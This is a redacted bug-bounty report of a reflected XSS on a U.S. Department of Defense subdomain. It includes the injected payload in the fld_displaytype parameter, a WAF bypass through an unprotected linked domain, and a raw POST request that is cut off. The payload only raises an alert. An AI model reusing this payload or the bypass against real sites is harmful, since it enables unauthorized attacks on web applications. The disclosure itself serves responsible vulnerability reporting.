U.S. Dept Of Defense: [XSS] Reflected XSS via POST request

Description: XSS vulnerability found on one of █████████ subdomains. [ DoD scope] After analyzing https://██████████/ I found ██████/████████-historic.cfm page that send some parameters to servers. fld_displaytype parameter vulnerable to XSS vulnerability. fld_displaytype=S changed to fld_displaytype=S"%20accesskey%3d"X"%20onclick%3d"alert('XSS Success!') WAF deployed on the endpoint to prevent such a attacks but I found another domain linked to this host but WAF did not cover that so I success to fire the payload. By sending the POST request to https://█████████████████/ , payload has been successfully triggered. ``` POST /██████/███████-historic.cfm HTTP/1.1 Host: █████████ Cookie: CFID=29878711; CFTOKEN=71972184 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 347 Origin: null Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close fld_graphfs=Y&fld_graphrs=N&fld_graphy1=N&fld_graphy2=N&fld_normal=Y&fld_max=Y&fld_min=Y&Submit=View-Graph&fld_from1=01%2F01%2F2023&fld_to1=12%2F31%2F2023&fld_displaytype=S"%20accesskey%3d"X"%20onclick%3d"alert('XSS...